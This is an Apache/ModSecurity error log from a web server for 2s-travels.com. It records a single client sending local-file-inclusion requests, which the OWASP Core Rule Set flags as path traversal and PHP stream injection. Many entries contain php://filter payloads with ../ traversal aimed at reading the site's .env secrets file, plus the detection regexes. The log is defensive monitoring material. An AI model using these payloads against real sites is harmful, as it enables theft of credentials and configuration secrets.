[Fri Jul 17 08:55:10.939010 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:include: php://filter/convert.iconv.utf-8.utf-7/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg5GPQ6hs4VrfMpBOAAAAAY"]
[Fri Jul 17 08:55:10.940535 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg5GPQ6hs4VrfMpBOAAAAAY"]
[Fri Jul 17 08:55:10.940748 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.941152 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglg5GPQ6hs4VrfMpBOAAAAAY"]
[Fri Jul 17 08:55:10.947052 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&include=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&extra=tWrnJ1Kzu5X9HfruZVUXrfrpYEetUVWLiyxHdHRlNNV4CC_RFnPDB3xebs5iE8LYBMGNXdjp8aZgoLTPvxBGqgE0Jagzjvqh_3qqx5lMLaA5astQOvnpz4JxblDhCG5O5u3wq04uY1VneX_yqdonpwqoxivzIbfor8z7m3NQrDb0ZA5gK_ZG6X4yA7wQ62ztruPnm_m3zX3FSrf811e0bw0twWEPoVHfJ8f80ENsGFjMCh4Vkd09Y5pE42xJXWveQ7fe-qnSyAh1cxXq9f9V1Nd9&anything=BG3WX43NNV2LUXAR7LURQY44CTKT45XNVJTMEZG5ZGCUXNZU4IMGGERNBEO4V4SBORFD..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSZQAAAB4"]
[Fri Jul 17 08:55:10.947147 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSZQAAAB4"]
[Fri Jul 17 08:55:10.947167 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&include=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F..%2F.env&junk=TEQTLMLa7JtoVl9Gj-0HT-5prgJn2o5ulMtYLlo2p_Fc0Efi41WYl5UncOO7R3BlyHW8hinZgsyYRwt4cOi1CYYddy-GMLBWerFZKs45299fdzAc12_GNdQKV_Nd8xO27mo7d76ft392Ncx1X2tIaTF4QjM7S0JBGzfRxe2ewqbLsIBXFs6QWNVim-QTzlxg-i68o5hASUoL0IXYX2ApEaU5lVITN4KjiUmSY7WmvoLd5bvlrxv1tgVcuMWdK0AgkiCBgtyysYdAToQvaT3yZBYa&debug=BSJVGMMPEGKH7M5UYOPV3RJOAEGEMOD7JGMG5FF5TK3E5WOUPW54IMSKCD5JS6HYXQGS..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PlQAAABk"]
[Fri Jul 17 08:55:10.947216 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PlQAAABk"]
[Fri Jul 17 08:55:10.947225 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&include=php://filter/convert.base64-encode/resource=../../../.env&extra=tWrnJ1Kzu5X9HfruZVUXrfrpYEetUVWLiyxHdHRlNNV4CC_RFnPDB3xebs5iE8LYBMGNXdjp8aZgoLTPvxBGqgE0Jagzjvqh_3qqx5lMLaA5astQOvnpz4JxblDhCG5O5u3wq04uY1VneX_yqdonpwqoxivzIbfor8z7m3NQrDb0ZA5gK_ZG6X4yA7wQ62ztruPnm_m3zX3FSrf811e0bw0twWEPoVHfJ8f80ENsGFjMCh4Vkd09Y5pE42xJXWveQ7fe-qnSyAh1cxXq9f9V1Nd9&anything=BG3WX43NNV2LUXAR7LURQY44CTKT45XNVJTMEZG5ZGCUXNZU4IMGGERNBEO4V4SBORFD2P23NEMZIM6KTCVMY2QOADXTAO..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSZQAAAB4"]
[Fri Jul 17 08:55:10.947272 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&include=php://filter/convert.base64-encode/resource=../../../.env&extra=twrnj1kzu5x9hfruzvuxrfrpyeetuvwliyxhdhrlnnv4cc_rfnpdb3xebs5ie8lybmgnxdjp8azgoltpvxbgqge0jagzjvqh_3qqx5lmlaa5astqovnpz4jxbldhcg5o5u3wq04uy1vnex_yqdonpwqoxivzibfor8z7m3nqrdb0za5gk_zg6x4ya7wq62ztrupnm_m3zx3fsrf811e0bw0twwepovhfj8f80ensgfjmch4vkd09y5pe42xjxwveq7fe-qnsyah1cxxq9f9v1nd9&anything=bg3wx43nnv2luxar7lurqy44ctkt45xnvjtmezg5zgcuxnzu4imggernbeo4v4sborfd2p23nemzim6ktcvmy2qoadxtao..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSZQAAAB4"]
[Fri Jul 17 08:55:10.947277 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&include=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&junk=TEQTLMLa7JtoVl9Gj-0HT-5prgJn2o5ulMtYLlo2p_Fc0Efi41WYl5UncOO7R3BlyHW8hinZgsyYRwt4cOi1CYYddy-GMLBWerFZKs45299fdzAc12_GNdQKV_Nd8xO27mo7d76ft392Ncx1X2tIaTF4QjM7S0JBGzfRxe2ewqbLsIBXFs6QWNVim-QTzlxg-i68o5hASUoL0IXYX2ApEaU5lVITN4KjiUmSY7WmvoLd5bvlrxv1tgVcuMWdK0AgkiCBgtyysYdAToQvaT3yZBYa&debug=BSJVGMMPEGKH7M5UYOPV3RJOAEGEMOD7JGMG5FF5TK3E5WOUPW54IMSKCD5JS6HYXQGSN5RS5BGXTUJ3X4YNXKN33HOOPV..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PlQAAABk"]
[Fri Jul 17 08:55:10.947317 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&include=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&junk=teqtlmla7jtovl9gj-0ht-5prgjn2o5ulmtyllo2p_fc0efi41wyl5uncoo7r3blyhw8hinzgsyyrwt4coi1cyyddy-gmlbwerfzks45299fdzac12_gndqkv_nd8xo27mo7d76ft392ncx1x2tiatf4qjm7s0jbgzfrxe2ewqblsibxfs6qwnvim-qtzlxg-i68o5hasuol0ixyx2apeau5lvitn4kjiumsy7wmvold5bvlrxv1tgvcumwdk0agkicbgtyysydatoqvat3yzbya&debug=bsjvgmmpegkh7m5uyopv3rjoaegemod7jgmg5ff5tk3e5woupw54imskcd5js6hyxqgsn5rs5bgxtuj3x4ynxkn33hoopv..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PlQAAABk"]
[Fri Jul 17 08:55:10.947325 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSZQAAAB4"]
[Fri Jul 17 08:55:10.947343 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PlQAAABk"]
[Fri Jul 17 08:55:10.947365 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSZQAAAB4"]
[Fri Jul 17 08:55:10.947368 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PlQAAABk"]
[Fri Jul 17 08:55:10.947730 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&include=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F.env&cb=Mz-tsNWeacFnrYWbuhlm3vRWuzmjxgDOJv0PYyo-DSrT_-WBz0DCqSLOneTbrF2B9HjvLGVR4jGn_6OTYPnmIkcxHXqfs2dD3aW5ZwZq9gXSS0v2iSsTtBoM2pEzxbuk8E0lzaZHrPHrOOOA-F9RgnqHl_uMbiaChtuNIxvn_wlxXVIbVo8LwEmcMl9KPoMsswdI2LrRwb-Lku1v38UYU65bUXVguGzVT6Jo32HlL-LdTHvTsT-BrZy5pQHkPN5n0GkOo1JcXSVHYvnW8cVRH0zZ&anything=UISAKRSE5UCEACPZHD6KJJSIKHB3N5TI7MVKXAFF2SB2BOYX5XUBVUPJBRNXCREOZ3VFCY2K..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkgVnBK6wAv37w6sEwAAABQ"]
[Fri Jul 17 08:55:10.947769 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:include: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PlQAAABk"]
[Fri Jul 17 08:55:10.947777 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkgVnBK6wAv37w6sEwAAABQ"]
[Fri Jul 17 08:55:10.947877 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&include=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&cb=Mz-tsNWeacFnrYWbuhlm3vRWuzmjxgDOJv0PYyo-DSrT_-WBz0DCqSLOneTbrF2B9HjvLGVR4jGn_6OTYPnmIkcxHXqfs2dD3aW5ZwZq9gXSS0v2iSsTtBoM2pEzxbuk8E0lzaZHrPHrOOOA-F9RgnqHl_uMbiaChtuNIxvn_wlxXVIbVo8LwEmcMl9KPoMsswdI2LrRwb-Lku1v38UYU65bUXVguGzVT6Jo32HlL-LdTHvTsT-BrZy5pQHkPN5n0GkOo1JcXSVHYvnW8cVRH0zZ&anything=UISAKRSE5UCEACPZHD6KJJSIKHB3N5TI7MVKXAFF2SB2BOYX5XUBVUPJBRNXCREOZ3VFCY2KI6Q4EIFE7WNJO35O2UZ4FP6M..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkgVnBK6wAv37w6sEwAAABQ"]
[Fri Jul 17 08:55:10.947892 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:include: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSZQAAAB4"]
[Fri Jul 17 08:55:10.947936 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&include=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&cb=mz-tsnweacfnrywbuhlm3vrwuzmjxgdojv0pyyo-dsrt_-wbz0dcqslonetbrf2b9hjvlgvr4jgn_6otypnmikcxhxqfs2dd3aw5zwzq9gxss0v2issttbom2pezxbuk8e0lzazhrphroooa-f9rgnqhl_umbiachtunixvn_wlxxvibvo8lwemcml9kpomsswdi2lrrwb-lku1v38uyu65buxvgugzvt6jo32hll-ldthvtst-brzy5pqhkpn5n0gkoo1jcxsvhyvnw8cvrh0zz&anything=uisakrse5uceacpzhd6kjjsikhb3n5ti7mvkxaff2sb2boyx5xubvupjbrnxcreoz3vfcy2ki6q4eife7wnjo35o2uz4fp6m..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkgVnBK6wAv37w6sEwAAABQ"]
[Fri Jul 17 08:55:10.947981 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkgVnBK6wAv37w6sEwAAABQ"]
[Fri Jul 17 08:55:10.948035 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkgVnBK6wAv37w6sEwAAABQ"]
[Fri Jul 17 08:55:10.948441 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:include: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkgVnBK6wAv37w6sEwAAABQ"]
